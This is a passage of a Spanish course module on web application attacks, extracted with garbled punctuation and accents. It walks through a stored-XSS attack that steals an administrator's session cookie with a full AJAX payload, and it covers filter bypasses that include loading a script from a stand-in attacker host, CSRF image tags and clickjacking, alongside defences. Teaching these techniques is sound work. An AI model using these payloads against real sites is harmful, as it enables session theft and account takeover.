forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
